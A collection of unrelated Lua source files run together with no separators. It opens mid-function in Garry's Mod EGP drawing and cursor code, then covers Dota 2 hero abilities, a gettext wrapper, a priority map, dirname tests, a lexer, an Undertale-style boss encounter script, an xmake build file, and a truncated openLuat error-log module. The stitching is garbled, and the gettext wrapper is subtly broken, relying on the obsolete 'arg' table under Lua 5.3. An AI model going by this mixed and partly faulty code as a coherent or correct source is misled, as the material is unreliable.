w = 1 end surface.DrawTexturedRectRotated( x3, y3, w, size, angle ) end end function EGP:DrawPath( vertices, size, closed ) if size < 1 then size = 1 end local num = #vertices if size == 1 then -- size 1 => just normal lines local last = vertices[1] for i=2, num do local v = vertices[i] surface.DrawLine( last.x, last.y, v.x, v.y ) last = v end if closed then surface.DrawLine( last.x, last.y, vertices[1].x, vertices[1].y ) end else size = size/2 -- simplify calculations local corners = vertices.outline_cache if vertices.outline_cache_size ~= size then -- check if the outline was cached already corners = {} local lastdir = {x=0, y=0} if closed then local x1 = vertices[num].x local y1 = vertices[num].y local x2 = vertices[1].x local y2 = vertices[1].y local len = math.sqrt( (x2-x1) ^ 2 + (y2-y1) ^ 2 ) lastdir = {x=(x2-x1)/len, y=(y2-y1)/len} -- initialize lastdir so first segment can be drawn normally end for i=1, (closed and num+1 or num) do local v1 = i==num+1 and vertices[1] or vertices[i] local x1 = v1.x local y1 = v1.y if not closed and i==num then -- very last segment, just end perpendicular (TODO: maybe move after the loop) corners[#corners+1] = { r={x=x1-lastdir.y*size, y=y1+lastdir.x*size}, l={x=x1+lastdir.y*size, y=y1-lastdir.x*size}} else local v2 = i<num and vertices[i+1] or vertices[i+1-num] local x2 = v2.x local y2 = v2.y local len = math.sqrt( (x2-x1) ^ 2 + (y2-y1) ^ 2 ) local dir = {x=(x2-x1)/len, y=(y2-y1)/len} if x1 ~= x2 or y1 ~= y2 then -- cannot get direction between identical points, just skip it if not closed and i==1 then -- very first segment, just start perpendicular (TODO: maybe move before the loop) corners[#corners+1] = { r={x=x1-dir.y*size, y=y1+dir.x*size}, l={x=x1+dir.y*size, y=y1-dir.x*size} } else local dot = dir.x*lastdir.x + dir.y*lastdir.y local scaling = size*math.tan(math.acos(dot)/2) -- complicated math, could be also be `size*sqrt(1-dot)/sqrt(dot+1)` (no idea what is faster) if dot >= 1 then -- also account for rounding errors, somehow the dot product can be >1, which makes scaling nan -- direction stays the same, no need for a corner, just skip this point, unless it is the last segment of a closed path (last segment of a open path is handled explicitly above) if i == num+1 then corners[#corners+1] = { r={x=x1-dir.y*size, y=y1+dir.x*size}, l={x=x1+dir.y*size, y=y1-dir.x*size} } end elseif dot <= -1 then -- new direction is inverse, just add perpendicular nodes corners[#corners+1] = { r={x=x1-dir.y*size, y=y1+dir.x*size}, l={x=x1+dir.y*size, y=y1-dir.x*size} } elseif dir.x*-lastdir.y + dir.y*lastdir.x > 0 then -- right bend, checked by getting the dot product between dir and lastDir:rotate(90) local offsetx = -lastdir.y*size-lastdir.x*scaling local offsety = lastdir.x*size-lastdir.y*scaling if dot < 0 then -- sharp corner, add two points to the outer edge to not have insanely long spikes corners[#corners+1] = { r={x=x1+offsetx, y=y1+offsety}, l={x=x1+(lastdir.x+lastdir.y)*size, y=y1+(lastdir.y-lastdir.x)*size} } corners[#corners+1] = { r={x=x1+offsetx, y=y1+offsety}, l={x=x1-(dir.x-dir.y)*size, y=y1-(dir.y+dir.x)*size} } else corners[#corners+1] = { r={x=x1+offsetx, y=y1+offsety}, l={x=x1-offsetx, y=y1-offsety} } end else -- left bend local offsetx = lastdir.y*size-lastdir.x*scaling local offsety = -lastdir.x*size-lastdir.y*scaling if dot < 0 then corners[#corners+1] = { l={x=x1+offsetx, y=y1+offsety}, r={x=x1+(lastdir.x-lastdir.y)*size, y=y1+(lastdir.y+lastdir.x)*size} } corners[#corners+1] = { l={x=x1+offsetx, y=y1+offsety}, r={x=x1-(dir.x+dir.y)*size, y=y1-(dir.y-dir.x)*size} } else corners[#corners+1] = { l={x=x1+offsetx, y=y1+offsety}, r={x=x1-offsetx, y=y1-offsety} } end end end lastdir = dir end end end vertices.outline_cache = corners vertices.outline_cache_size = size end for i=2, #corners, 2 do local verts if i==#corners then -- last corner, only one segment missing verts = {corners[i].r, corners[i-1].r, corners[i-1].l, corners[i].l} else -- draw this and next segment as a single polygon verts = {corners[i].r, corners[i-1].r, corners[i-1].l, corners[i].l, corners[i+1].l, corners[i+1].r} end surface.DrawPoly(verts) end end end local function ScaleCursor( this, x, y ) if (this.Scaling) then local xMin = this.xScale[1] local xMax = this.xScale[2] local yMin = this.yScale[1] local yMax = this.yScale[2] x = (x * (xMax-xMin)) / 512 + xMin y = (y * (yMax-yMin)) / 512 + yMin end return x, y end local function ReturnFailure( this ) if (this.Scaling) then return {this.xScale[1]-1,this.yScale[1]-1} end return {-1,-1} end function EGP:EGPCursor( this, ply ) if not EGP:ValidEGP(this) then return {-1,-1} end if not IsValid(ply) or not ply:IsPlayer() then return ReturnFailure( this ) end local Normal, Pos, monitor, Ang -- If it's an emitter, set custom normal and pos if (this:GetClass() == "gmod_wire_egp_emitter") then Normal = this:GetRight() Pos = this:LocalToWorld( Vector( -64, 0, 135 ) ) monitor = { Emitter = true } else -- Get monitor screen pos & size monitor = WireGPU_Monitors[ this:GetModel() ] -- Monitor does not have a valid screen point if not monitor then return {-1,-1} end Ang = this:LocalToWorldAngles( monitor.rot ) Pos = this:LocalToWorld( monitor.offset ) Normal = Ang:Up() end local Start = ply:GetShootPos() local Dir = ply:GetAimVector() local A = Normal:Dot(Dir) -- If ray is parallel or behind the screen if (A == 0 or A > 0) then return ReturnFailure( this ) end local B = Normal:Dot(Pos-Start) / A if (B >= 0) then if (monitor.Emitter) then local HitPos = Start + Dir * B HitPos = this:WorldToLocal( HitPos ) - Vector( -64, 0, 135 ) local x = HitPos.x*(512/128) local y = HitPos.z*-(512/128) x, y = ScaleCursor( this, x, y ) return {x,y} else local HitPos = WorldToLocal( Start + Dir * B, Angle(), Pos, Ang ) local x = (0.5+HitPos.x/(monitor.RS*512/monitor.RatioX)) * 512 local y = (0.5-HitPos.y/(monitor.RS*512)) * 512 if (x < 0 or x > 512 or y < 0 or y > 512) then return ReturnFailure( this ) end -- Aiming off the screen x, y = ScaleCursor( this, x, y ) return {x,y} end end return ReturnFailure( this ) end function EGP.ScreenSpaceToObjectSpace(object, point) point = { x = point.x - object.x, y = point.y - object.y } if object.angle and object.angle ~= 0 then local theta = math.rad(object.angle) local cos_theta, sin_theta = math.cos(theta), math.sin(theta) point.x, point.y = point.x * cos_theta - point.y * sin_theta, point.y * cos_theta + point.x * sin_theta end return point end
LinkLuaModifier("modifier_old_holy_knight_purge_slow", "heroes/old_holy_knight/old_holy_knight_modifiers.lua", LUA_MODIFIER_MOTION_NONE) LinkLuaModifier("modifier_old_holy_knight_critical_strike", "heroes/old_holy_knight/old_holy_knight_modifiers.lua", LUA_MODIFIER_MOTION_NONE) old_holy_knight_purge = class({}) function old_holy_knight_purge:GetBehavior() if not self.bSpecial then self.hSpecial = Entities:First() while self.hSpecial and (self.hSpecial:GetName() ~= "special_bonus_unique_old_holy_knight_2" or self.hSpecial:GetCaster() ~= self:GetCaster()) do self.hSpecial = Entities:Next(self.hSpecial) end self.bSpecial = true end if self.hSpecial and self.hSpecial:GetLevel() > 0 then return DOTA_ABILITY_BEHAVIOR_POINT+DOTA_ABILITY_BEHAVIOR_AOE else return DOTA_ABILITY_BEHAVIOR_UNIT_TARGET end end local function PurgeUnit(hTarget, hCaster, hAbility) hTarget:EmitSound("DOTA_Item.DiffusalBlade.Activate") if hTarget:GetTeam() == hCaster:GetTeam() then hTarget:Purge(false, true, false, false, false) ParticleManager:CreateParticle("particles/generic_gameplay/generic_purge.vpcf", PATTACH_ABSORIGIN_FOLLOW, hTarget) else hTarget:Purge(true, false, false, false, false) ParticleManager:CreateParticle("particles/generic_gameplay/generic_purge.vpcf", PATTACH_ABSORIGIN_FOLLOW, hTarget) if hTarget:HasModifier("modifier_kill") then hTarget:Kill(hAbility, hCaster) else hTarget:AddNewModifier(hCaster, hAbility, "modifier_old_holy_knight_purge_slow", {Duration = hAbility:GetSpecialValueFor("slow_duration")*(1-hTarget:GetStatusResistance())}) end end end function old_holy_knight_purge:GetAOERadius() if self.hSpecial then return self.hSpecial:GetSpecialValueFor("value") else return 0 end end function old_holy_knight_purge:OnSpellStart() if self.hSpecial and self.hSpecial:GetLevel() > 0 then local hCaster = self:GetCaster() local tTargets = FindUnitsInRadius(hCaster:GetTeamNumber(), self:GetCursorPosition(), nil, self.hSpecial:GetSpecialValueFor("value"), DOTA_UNIT_TARGET_TEAM_BOTH, DOTA_UNIT_TARGET_HERO+DOTA_UNIT_TARGET_BASIC, DOTA_UNIT_TARGET_FLAG_NOT_MAGIC_IMMUNE_ALLIES, FIND_ANY_ORDER, false) for k, v in ipairs(tTargets) do v:EmitSound("DOTA_Item.DiffusalBlade.Activate") PurgeUnit(v, hCaster, self) end else local hCaster = self:GetCaster() local hTarget = self:GetCursorTarget() if hTarget:TriggerSpellAbsorb( self ) then return end hTarget:EmitSound("DOTA_Item.DiffusalBlade.Activate") PurgeUnit(hTarget, hCaster, self) end end old_holy_knight_holy_light = class({}) function old_holy_knight_holy_light:CastFilterResultTarget(hTarget) if hTarget == self:GetCaster() then return UF_FAIL_CUSTOM else return UF_SUCCESS end end function old_holy_knight_holy_light:GetCustomCastErrorTarget(hTarget) return "dota_hud_error_cant_cast_on_self" end function old_holy_knight_holy_light:OnSpellStart() local hCaster = self:GetCaster() local hTarget = self:GetCursorTarget() local iHeal = self:GetSpecialValueFor("heal") local iDamage = self:GetSpecialValueFor("damage") local hSpecial = self:GetCaster():FindAbilityByName("special_bonus_unique_old_holy_knight_0") if hSpecial then iHeal = iHeal+hSpecial:GetSpecialValueFor("value") iDamage = iDamage+hSpecial:GetSpecialValueFor("value") end ParticleManager:CreateParticle("particles/units/heroes/hero_chen/chen_test_of_faith.vpcf", PATTACH_ABSORIGIN_FOLLOW, hTarget) hTarget:EmitSound("Hero_Chen.TestOfFaith.Target") hCaster:EmitSound("Hero_Chen.TestOfFaith.hCaster") if hTarget:GetTeam() == hCaster:GetTeam() then hTarget:Heal(iHeal,hCaster) SendOverheadEventMessage(hTarget:GetPlayerOwner(), OVERHEAD_ALERT_HEAL , hTarget, iHeal, nil) else ApplyDamage({attacker = hCaster, victim = hTarget, ability = self, damage_type = DAMAGE_TYPE_MAGICAL, damage = iDamage}) SendOverheadEventMessage(nil, OVERHEAD_ALERT_BONUS_SPELL_DAMAGE , hTarget, iDamage, nil) end end old_holy_knight_critical_strike = class({}) function old_holy_knight_critical_strike:GetIntrinsicModifierName() return "modifier_old_holy_knight_critical_strike" end old_holy_knight_holy_persuation = class({}) function old_holy_knight_holy_persuation:CastFilterResultTarget(hTarget) if IsClient() then return UF_SUCCESS end if hTarget:IsHero() then return UF_FAIL_HERO elseif hTarget:GetTeam() == self:GetCaster():GetTeam() then return UF_FAIL_FRIENDLY elseif hTarget:IsAncient() and not self:GetCaster():HasScepter() then return UF_FAIL_ANCIENT elseif hTarget:IsConsideredHero() then return UF_FAIL_CONSIDERED_HERO elseif hTarget:GetClassname() == "npc_dota_roshan" then return UF_FAIL_CUSTOM else return UF_SUCCESS end end function old_holy_knight_holy_persuation:GetCustomCastErrorTarget(hTarget) return "dota_hud_error_cant_cast_on_roshan" end function old_holy_knight_holy_persuation:OnSpellStart() local hCaster = self:GetCaster() local hTarget = self:GetCursorTarget() hCaster:EmitSound("Hero_Chen.HolyPersuasionCast") local tUnits = FindUnitsInRadius(hCaster:GetTeamNumber(), hTarget:GetOrigin(), nil, self:GetSpecialValueFor("range"), DOTA_UNIT_TARGET_TEAM_ENEMY, DOTA_UNIT_TARGET_BASIC, DOTA_UNIT_TARGET_FLAG_NOT_CREEP_HERO, FIND_CLOSEST, false) PersueUnit(hCaster, hTarget, CheckTalent(hCaster, "special_bonus_unique_old_holy_knight_3"), true, "Hero_Chen.HolyPersuasionEnemy", "particles/units/heroes/hero_chen/chen_holy_persuasion.vpcf") local iPersuedUnits = 1 local iMaxPersuedUnit = self:GetSpecialValueFor("count") for k, v in ipairs(tUnits) do if v ~= hTarget and (not v:IsAncient() or hCaster:HasScepter()) then iPersuedUnits = iPersuedUnits+1 if iPersuedUnits > iMaxPersuedUnit then return end PersueUnit(hCaster, v, CheckTalent(hCaster, "special_bonus_unique_old_holy_knight_3"), true, "Hero_Chen.HolyPersuasionEnemy", "particles/units/heroes/hero_chen/chen_holy_persuasion.vpcf") end end end
-- gettext.lua -- $Id: gettext.lua,v 2.0 2016/04/18 18:55 BAerowing Exp $ -- Lua wrapper functions for Lua 5.3.x gettext binding. -- BEGIN gettext.lua -- GetText = require("lgettext") function _(str, ...) return string.format(GetText.gettext(str), table.unpack(arg)) end function n_(str, ...) return string.format(GetText.ngettext(str), table.unpack(arg)) end return GetText -- END of gettext.lua --
-- Hello world in Lua print "Hello, world!" -- -- How to run -- -- lua hello.lua --
return _G[script].Promise.spawn;
local IComparable = require("api.IComparable") local PriorityMap = class.class("PriorityMap", IComparable) PriorityMap.DEFAULT_PRIORITY = 100000 function PriorityMap:init() self.map = {} self.priority = {} self.sorted_keys = {} self.dirty = true end function PriorityMap:clear() self.map = {} self.priority = {} self.sorted_keys = {} self.dirty = true end local function iter(state, index) local key = state.sorted_keys[index] if key == nil then return nil end return index + 1, state.map[key], key end function PriorityMap:iter() if self.dirty then self.dirty = false self:_update_sorting() end return iter, self, 1 end function PriorityMap:len() if self.dirty then self.dirty = false self:_update_sorting() end return #self.sorted_keys end function PriorityMap:set(key, value, priority) if value == nil then self.map[key] = nil self.priority[key] = nil else self.map[key] = value self.priority[key] = priority or PriorityMap.DEFAULT_PRIORITY end self.dirty = true end function PriorityMap:get(key) return self.map[key] end function PriorityMap:_update_sorting() self.sorted_keys = table.keys(self.map) table.sort(self.sorted_keys, function(a, b) return self.priority[a] < self.priority[b] end) end function PriorityMap:compare(other) return table.deepcompare(self.map, other.map) and table.deepcompare(self.priority, other.priority) end return PriorityMap
-- This is a collection of useful functions that may be used often -- Displays an error message and closes the lua interpreter function perror(text) print("Error: ",text) os.exit() end -- Returns the size of a table function table_size(tb) if not tb then perror("Tried to find size of non table data structure") else return #tb end end
local testcase = require('testcase') local dirname = require('dirname') function testcase.dirname() -- test that extract directory part of pathname for _, v in ipairs({ { "", ".", }, { ".", ".", }, { "/.", "/", }, { "/", "/", }, { "////", "/", }, { "/foo", "/", }, { "x/", ".", }, { "abc", ".", }, { "abc/def", "abc", }, { "a/b/.x", "a/b", }, { "a/b/c.", "a/b", }, { "a/b/c.x", "a/b", }, { "///usr///bin///", "///usr", }, }) do local dir = assert(dirname(v[1])) assert.equal(dir, v[2]) end local dir = assert(dirname()) assert.equal(dir, '.') -- test that throws an error if argument is invalid local err = assert.throws(dirname, {}) assert.match(err, 'pathname must be string') end
-- Copyright 2016-2021 Gabriel Dubatti. See LICENSE. -- myproj LPeg lexer. local l = require('lexer') local token, word_match = l.token, l.word_match local P, R, S = lpeg.P, lpeg.R, lpeg.S local M = {_NAME = 'myproj'} -- Whitespace. local ws = token(l.WHITESPACE, l.space^1) local hidden = token('hidden', '::' * l.nonnewline^0) local style_hidden = 'notvisible' local group1 = token('group1', '[' * (l.nonnewline - ']')^0 * ']' ) local style_group1 = 'fore:$(color.variable),bold' local group2 = token('group2', '(' * (l.nonnewline - ')')^0 * ')' ) local style_group2 = 'fore:$(color.function),bold' local group3 = token('group3', '<' * (l.nonnewline - '>')^0 * '>' ) local style_group3 = 'fore:$(color.type),bold' local extension = token('extension', '.' * l.word^0 ) local style_extension = 'fore:$(color.comment),italics' --search view local search_line = token('search_line', '@' * l.space^0 * l.digit^1 * ':' * l.nonnewline^0) local style_search_line = 'fore:$(color.comment)' M._rules = { {'whitespace', ws}, {'hidden', hidden}, {'group1', group1}, {'group2', group2}, {'group3', group3}, {'extension', extension}, {'search_line', search_line}, } M._tokenstyles = { hidden = style_hidden, group1 = style_group1, group2 = style_group2, group3 = style_group3, extension= style_extension, search_line= style_search_line, } M._FOLDBYINDENTATION = true M._LEXBYLINE = true return M
-- A basic encounter script skeleton you can copy and modify for your own creations. Timers = require "timer" require "Animations/nomercy" require "fakeui" require "vsprite" -- music = "shine_on_you_crazy_diamond" --Always OGG. Extension is added automatically. Remove the first two lines for custom music. music = "" encountertext = "[voice:ui]ASGORE attacks!" --Modify as necessary. It will only be read out in the action select screen. nextwaves = {"intro_old"} wavetimer = 100 arenasize = {155, 130} reddots = {} reddots_count = 0 del_reddots = {} del_reddots_count = 0 starttime = Time.time currenttime = 0 current_turn = 0 current = 0 SetGlobal("bfight", 0) SetGlobal("bitem", 0) SetGlobal("gameover", false) SetGlobal("atk", 3) enemies = { "asgore", "itemgore" } enemypositions = { {-10, 0}, {500, 500} } current_turn = 0 --use to test specific attacks flowey_turn = 0 --DEBUG_MODE = true --uncomment to enable debug mode function EncounterStarting() Player.lv = 20 Player.hp = 99 Player.name = "Chara" -- If you want to change the game state immediately, this is the place. enemies[2].Call("SetActive", false) if(DEBUG_MODE) then Audio.LoadFile("asgore") intro = false enemies[1].Call("SetSprite", "asgoreempty") SpawnBall() backpink = CreateSprite("backpink") backpink.SetPivot(0, 0) backpink.MoveTo(0, 0) require "Animations/asgore" wavetimer = 7 fui_init() else Audio.LoadFile("bergentruckunghousingMANDO") BattleDialog({"[effect:none][novoice][noskip][waitall:1.7](A strange light fills the\rroom.)[w:1000][next]"}) end end function No() backpink.Set("empty") end testbmercy = nil intro = true mask = nil btt = 0 backpink = nil goback = false gotoitemenu = false initemmenu = false lasttime = Time.time framecounter = 0 function add_reddot() if GetGlobal("No") == true then else local rdot if del_reddots_count == 0 then rdot = CreateVSprite("reddot") table.insert(reddots, rdot) reddots_count = reddots_count + 1 else rdot = del_reddots[del_reddots_count] table.remove(del_reddots, del_reddots_count) del_reddots_count = del_reddots_count - 1 end local rdotscale = 1 + (math.random() - 0.5) rdot.sprite.Scale(rdotscale, rdotscale) rdot.sprite.MoveTo(math.random(0, 640), -4) rdot.SetVar("velx", (math.random() * 6) - 3) rdot.SetVar("alpham", math.random() * 0.03 + 0.001) rdot.SetVar("vely", math.random() * 1.0 + 0.01) rdot.SetVar("velym", math.random() * 0.02 + 0.01) rdot.SetVar("dot_active", true) rdot.sprite.alpha = 1.0 rdot.sprite.color = {math.sin(Time.time), math.cos(Time.time), -math.sin(Time.time)} rdot.sprite.SendToBottom() end end --moves a red dot into position. This can be improved by changing y velocity over time function update_reddot(rdot, i) if not rdot.GetVar("dot_active") then return end local vely = rdot.GetVar("vely") rdot.sprite.alpha = rdot.sprite.alpha - rdot.GetVar("alpham") rdot.sprite.y = rdot.sprite.y + vely rdot.SetVar("vely", vely + rdot.GetVar("velym")) rdot.sprite.x = rdot.sprite.x + rdot.GetVar("velx") if(rdot.sprite.alpha <= 0) then del_reddot(i) end end --performs update on all red dots function update_reddots() for i=1,reddots_count do local rdot = reddots[i] update_reddot(rdot, i) end end function del_reddot(index) reddots[index].SetVar("dot_active", false) table.insert(del_reddots, reddots[index]) del_reddots_count = del_reddots_count + 1 end SetGlobal("afterimage", true) SetGlobal("soulfix", false) spawntimer = 0 dedtimer = 0 cheat = false difficulty = 5 BallExists = false function SpawnBall() BallExists = true ball1xspeed = math.random(1, 6) ball2xspeed = math.random(1, 6) MenuBall1 = CreateProjectileAbs('a_torielflameL0', 0, 40) MenuBall1.sprite.SetAnimation({"a_torielflameL0", "a_torielflameL1"}, 0.2) MenuBall1.sprite.SendToBottom() MenuBall2 = CreateProjectileAbs('a_torielflameR0', 640, 40) MenuBall2.sprite.SetAnimation({"a_torielflameR0", "a_torielflameR1"}, 0.2) MenuBall2.sprite.SendToBottom() end -- placeholder menu attack, i might make it so that balls will continuosly spawn function KillBall() MenuBall1.sprite.StopAnimation() MenuBall1.sprite.Set("empty") MenuBall2.sprite.Set("empty") MenuBall2.sprite.StopAnimation() BallExists = false end AsgoreDead1 = false SetGlobal("dodgeit", 1) function Update() if waitfordodge then if GetGlobal("dodgeit") == 3 then if Input.Confirm == 1 then enemies[1].SetVar("def", 999999999999) SetGlobal("dodge", true) waitfordodge = false end else enemies[1].SetVar("def", -9999999) end end if fui_inMenu == true and BallExists == true then MenuBall1.Move(ball1xspeed, 0) MenuBall2.Move(-ball2xspeed, 0) if MenuBall1.absx >= 640 then MenuBall1.MoveToAbs(0, 40) end if MenuBall2.absx <= 0 then MenuBall2.MoveToAbs(650, 40) end end if not intro and Input.Menu == 1 then if math.random(1,3) == 2 then Player.Hurt(2, 0) elseif math.random(1,3) == 3 then Player.heal(1) end end dedtimer = dedtimer + 1 if enemies[1].GetVar("hp") <= 0 then dedtimer = 0 enemies[1].SetVar('dialogbubble', 'rightwide') AsgoreDead1 = true enemies[1].SetVar("hp", 1) enemies[1].Call("SetSprite", "asgoreded1") Audio.Stop() HideAsgore() No() SetGlobal("No", true) end if GetGlobal("hurtframes") ~= nil then if GetGlobal("hurtframes") > 0 then SetGlobal("hurtframes", GetGlobal("hurtframes") - 1) end end framecounter = framecounter + 1 if Timers then Timers.UpdateTimers() end if(goback) then State("ACTIONSELECT") goback = false end if(gotoitemenu) then enemies[2].Call("SetActive", true) enemies[1].Call("SetActive", false) State("ACTMENU") gotoitemenu = false end if(initemmenu and Input.Cancel == 1) then BattleDialog({"[next]"}) initemmenu = false goback = true end if(intro) then if(mask == nil) then mask = CreateProjectileAbs("dialogmask", 320, 160) end AsgoreIntro() AnimNoMercy() else currenttime = Time.time - starttime UpdateAsgore() if(Player.absx == 202 and Player.absy == 25 and GetGlobal("soulfix") == false) then SetGlobal("soulfix", true) fui_soulfixer() end if(Player.absx == 202 and Player.absy == 25 and GetGlobal("bitem") < 4 and Input.Right == 1) then goback = true BattleDialog({"[next]"}) end if(Player.absx == 202 and Player.absy == 25 and GetGlobal("bfight") < 5 and Input.Left == 1) then goback = true BattleDialog({"[next]"}) end if(Player.absx == 361 and Player.absy == 25 and Input.Right == 1) then goback = true BattleDialog({"[next]"}) end if(Player.absx == 48 and Player.absy == 25 and Input.Left == 1) then goback = true BattleDialog({"[next]"}) end if(Player.absx == 48 and Player.absy == 25 and GetGlobal("bfight") < 5 and Input.Confirm == 1) then goback = true BattleDialog({"[next]"}) end end update_reddots() if(fui_initialized) then backpink.yscale = 10 + math.sin(Time.time * 1.2) * 5 backpink.color = {math.sin(Time.time), math.cos(Time.time), -math.sin(Time.time)} backpink.SendToBottom() fui_mask.SendToBottom() if framecounter % 2 == 0 then add_reddot() end fui_update() end end mercies = 0 ballinit = false function EnteringState(newstate, oldstate) if newstate == "ATTACKING" then SetGlobal("dodgeit", math.random(1,3)) waitfordodge = true end if(newstate == "DEFENDING" and intro) then enemies[1].Call("SetSprite", "asgoreempty") InitNoMercy() end if(newstate == "MERCYMENU") then State("ACTIONSELECT") end if(newstate == "ITEMMENU") then State("ACTIONSELECT") if(#enemies[2].GetVar("commands") == 0) then State("ACTIONSELECT") else initemmenu = true gotoitemenu = true end end if((newstate ~= "ACTMENU" and newstate ~= "ITEMMENU") and initemmenu) then enemies[1].Call("SetActive", true) enemies[2].Call("SetActive", false) initemmenu = false end if(newstate == "ACTIONSELECT" and oldstate == "DEFENDING") then if AsgoreDead1 == false then SpawnBall() end fui_inMenu = true end if(newstate == "ACTIONSELECT") then fui_selectingButton = true elseif(not goback) then fui_selectingButton = false end if(not intro and newstate == "ENEMYDIALOGUE" or newstate == "DEFENDING") then fui_inMenu = false else fui_inMenu = true end if(intro and newstate == "ENEMYDIALOGUE" or newstate == "DEFENDING") then fui_inMenu = false else fui_inMenu = true end end function OnHit(bullet) if BallExists == true then Player.Hurt(5, 0.2) end end function EnemyDialogueStarting() -- Good location for setting monster dialogue depending on how the battle is going. if not intro and AsgoreDead1 == false then KillBall() end if (intro and introdone == true) then enemies[1].SetVar('currentdialogue', {"[effect:none][voice:asgore][waitall:2][noskip][w:5][func:SetSprite,asgore4][w:5]Human...\n[w:15]Let's just get\nto the point...[w:25][func:whatdidyoujustfuckingsaytomeyoulittlebitch][next]"}) elseif (intro) then enemies[1].SetVar('currentdialogue', {"[effect:none][voice:asgore][waitall:2][noskip][w:5][func:SetSprite,asgore4][w:15]Human...\n[w:25]No...[w:30]\nwhatever you\nare...[w:40][next]","[noskip][effect:none][voice:asgore][waitall:2]It is time...[w:40][next]","[noskip][func:SetSprite,asgore1][effect:none][voice:asgore][waitall:2][w:60][func:SetSprite,asgore4]Goodbye.[w:10][func:whatdidyoujustfuckingsaytomeyoulittlebitch][next]"}) end end -- All the attacks that Asgore will always use in order... once this list is exhausted, we move on to possible_attacks attack_order = {"nothing", "touhou/bulletrain1", "touhou/bulletrain2", "touhou/spearswing", "touhou/hand_opening", "touhou/wavy_fire", "touhou/warning_fire", "touhou/hand_sweep", "touhou/spearswing", "touhou/circles", "touhou/bigbulletrain", "touhou/spearswing", "touhou/wavy_fire", "touhou/hand_sweep", "touhou/circles", "touhou/spearswing", "touhou/bigbulletrain", "touhou/warning_fire", "touhou/circles", "touhou/spearswing", "touhou/hand_sweep", "touhou/circles", "touhou/bigbulletrain", "touhou/spearswing"} floweyorder = { "nothing", "Flowey/randomCirfast", "nothing", "Flowey/circlehole", "nothing", "nothing", "nothing", "nothing", "Flowey/circlehole", "Flowey/circle", "nothing", "Flowey/circlehole"} -- A custom list with attacks to choose from. Actual selection happens in EnemyDialogueEnding(). Put here in case you want to use it. -- TODO: Weighted attack order possible_attacks = {"touhou/bigbulletrain", "touhou/wavy_fire", "touhou/spearswing", "touhou/warning_fire", "touhou/circles", "touhou/hand_sweep", "touhou/bulletrain1", "touhou/bulletrain2"} possible_flowey = {"Flowey/circle", "Flowey/circlehole", "Flowey/orangeCirSlow", "Flowey/orangeCirFast", "Flowey/randomCirSlow", "nothing" } function EnemyDialogueEnding() -- Good location to fill the 'nextwaves' table with the attacks you want to have simultaneously. -- This example line below takes a random attack from 'possible_attacks'. if(intro) then nextwaves = { "nothing" } else Timers = nil current_turn = current_turn + 1 flowey_turn = flowey_turn + 1 SetGlobal("current_turn", current_turn) if AsgoreDead1 == true then nextwaves = {"none"} elseif current_turn <= #attack_order then nextwaves = {attack_order[current_turn], floweyorder[flowey_turn]} else nextwaves = { possible_attacks[math.random(#possible_attacks)], possible_flowey[math.random(#possible_flowey)] } starttime = Time.time currenttime = 0 end end end function DefenseEnding() --This built-in function fires after the defense round ends. if(intro) then intro = false backpink = CreateSprite("backpink") backpink.SetPivot(0, 0) backpink.MoveTo(0, 0) require "Animations/asgore" wavetimer = 7 fui_init() else encountertext = RandomEncounterText() --This built-in function gets a random encounter text from a random enemy. if AsgoreDead1 == true then Player.SetControlOverride(true) end end end function HandleSpare() State("ENEMYDIALOGUE") end function HandleItem(ItemID) BattleDialog({"Selected item " .. ItemID .. "."}) end introdone = false function AsgoreIntro() if Input.Menu == 1 and introdone == false then btt = true introdone = true end if(btt == 0 and Audio.playtime >= 3) then BattleDialog({"[effect:none][novoice][noskip][waitall:1.9](Twilight is shining through\rthe barrier.)[w:700][next]"}) btt = 1 end if(btt == 1 and Audio.playtime >= 6) then BattleDialog({"[effect:none][novoice][noskip][waitall:1.9](Dust floats throughout\rthe Underground.)[w:700][next]"}) btt = 2 end if(btt == 2 and Audio.playtime >= 9) then BattleDialog({"[effect:none][novoice][noskip][waitall:1.9](ASGORE stands between you\rand the absolute.)[w:700][next]"}) btt = 3 end if(btt == 3 and Audio.playtime >= 12) then BattleDialog({"[effect:none][novoice][noskip][waitall:1.9](It seems your journey is\rcoming to an end.)[w:900][next]"}) btt = 4 end if(btt == 4 and Audio.playtime >= 16) then BattleDialog({"[starcolor:000000][effect:none][novoice][noskip][waitall:2] * (You're filled with\r [w:30][color:ff0000]DETERMINATION[color:ffffff].)[w:1000][next]"}) btt = 5 end if(btt == 5 and Audio.playtime >= 28 or btt == true) then Audio.Stop() btt = Time.time end if(btt > 5 and Time.time - btt >= 1) then btt = -1 mask.sprite.Set("fullmask") State("ENEMYDIALOGUE") end end
option("with-demo") set_default(false) set_showmenu(true) set_category("hikyuu") set_description("Complie with demo") option_end() target("demo") if has_config("with-demo") then set_kind("binary") else set_kind("phony") end add_includedirs("..") if is_plat("windows") then add_cxflags("-wd4267") end if is_plat("windows") then add_defines("HKU_API=__declspec(dllimport)") add_defines("SQLITE_API=__declspec(dllimport)") end -- add files add_files("./*.cpp") add_deps("hikyuu") target_end()
--- 模块功能:系统错误日志管理(强烈建议用户开启此模块的“错误日志上报调试服务器”功能). -- 错误日志包括四种: -- 1、系统主任务运行时的错误日志 -- 此类错误会导致软件重启,错误日志保存在/luaerrinfo.txt文件中 -- 2、调用sys.taskInit创建的协程运行过程中的错误日志 -- 此类错误会终止当前协程的运行,但是不会导致软件重启,错误日志保存在/lib_err.txt中 -- 3、调用errDump.appendErr或者sys.restart接口保存的错误日志 -- 此类错误日志保存在/lib_err.txt中 -- 4、调用errDump.setNetworkLog接口打开网络异常日志功能后,会自动保存最近几种网络异常日志 -- 此类异常日志保存在内存中 -- -- 其中2和3保存的错误日志,最多支持5K字节 -- 每次上报错误日志给调试服务器之后,会清空已保存的日志 -- @module errDump -- @author openLuat -- @license MIT -- @copyright openLuat -- @release 2017.09.26 require"socket" require"misc" module(..., package.seeall) --错误信息文件以及错误信息内容 local LIB_ERR_FILE,libErr,LIB_ERR_MAX_LEN = "/lib_err.txt","",5*1024 local LUA_ERR_FILE,luaErr = "/luaerrinfo.txt","" local sReporting,sProtocol local sNetworkLog,stNetworkLog,sNetworkLogFlag = "",{} -- 初始化LIB_ERR_FILE文件中的错误信息(读取到内存中,并且打印出来) -- @return nil -- @usage readTxt.initErr() local function initErr() libErr = io.readFile(LIB_ERR_FILE) or "" if libErr~="" then log.error("errDump.libErr", libErr) end luaErr = io.readFile(LUA_ERR_FILE) or "" if luaErr~="" then log.error("errDump.luaErr", luaErr) end updateNetworkLog() end --- 追加错误信息到LIB_ERR_FILE文件中(文件最多允许存储5K字节的数据) -- @string s:用户自定义的错误信息,errDump功能模块会对此错误信息做如下处理: -- 